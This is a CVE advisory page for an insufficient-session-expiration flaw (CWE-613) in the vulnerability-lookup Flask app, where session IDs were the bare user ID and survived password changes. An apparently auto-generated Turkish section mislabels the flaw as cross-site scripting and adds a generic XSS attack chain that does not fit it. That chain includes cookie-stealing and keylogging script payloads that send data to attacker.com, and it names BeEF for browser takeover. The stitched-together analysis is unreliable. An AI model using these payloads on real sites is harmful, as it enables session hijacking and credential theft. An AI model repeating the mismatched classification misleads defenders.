CWE-613
In the vulnerability-lookup web application, the Flask-Login session identifier was set to the bare numeric user ID (User.get_id() returned self.id). Because the session ID contained no component derived from the user's credential, it remained valid indefinitely regardless of any subsequent password change, account recovery, or administrator-initiated password reset. An attacker who had obtained a valid session for a user account (for example through cross-site scripting, session hijacking, or a previously exposed feed or API key) could continue to access that user's account after the user changed their password, because the session cookie still carried the same static user ID and the user_loader accepted it without any credential-bound validation. The affected component is the session management layer of the vulnerability-lookup Flask application, specifically the User.get_id() method in website/models/user.py and the load_user callback in website/web/views/session_mgmt.py. The vulnerability required that an attacker already possessed a valid session for the target user; no additional authentication or special deployment configuration was needed beyond a standard deployment of the application. The security impact is that a user cannot effectively revoke an attacker's access by changing their password, performing an account recovery, or having an administrator reset the credential. The attacker retains full authenticated access to the user's profile, subscriptions, and any role-gated functionality for the lifetime of the session cookie. Additionally, sessions that were opened via a feed key or API key before a prior fix (commit 3605d5b6) also persisted indefinitely.
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CVE-2026-129706
CVSS 0/10 · BELİRSİZ · 16.11.2026
CWE: CWE-613
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🎯 AÇIK NEDİR?
Cross-Site Scripting (XSS)
Açıklama: In the vulnerability-lookup web application, the Flask-Login session identifier was set to the bare numeric user ID (User.get_id() returned self.id). Because the session ID contained no component derived from the user's credential, it remained valid indefinitely regardless of any subsequent password change, account recovery, or administrator-initiated password reset. An attacker who had obtaine…
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Stored XSS: Uygulama kullanıcı girdisini DB'ye kaydedip diğer kullanıcılara gösteriyorsa, yorum/profil alanlarına payload inject edilir.
2. Reflected XSS: URL parametresine <script>alert(1)</script> eklenir, link kurban ile paylaşılır.
3. Cookie çalma: <script>new Image().src='https://attacker.com/c?c='+document.cookie</script>
4. Keylogger: <script>document.onkeypress=function(e){new Image().src='https://attacker.com/k?k='+e.key}</script>
5. BeEF framework ile tam tarayıcı kontrolü.
🔧 Araçlar: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 GERÇEK DÜNYA ETKİSİ
🛡️ ÇÖZÜM VE MİTİGASYON
→ Üretici tarafından yayınlanan yamayı uygula.
→ CSP header ekle, tüm kullanıcı girdilerini HTML encode et.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
📌 Düşük öncelik — rutin güncelleme yeterli.
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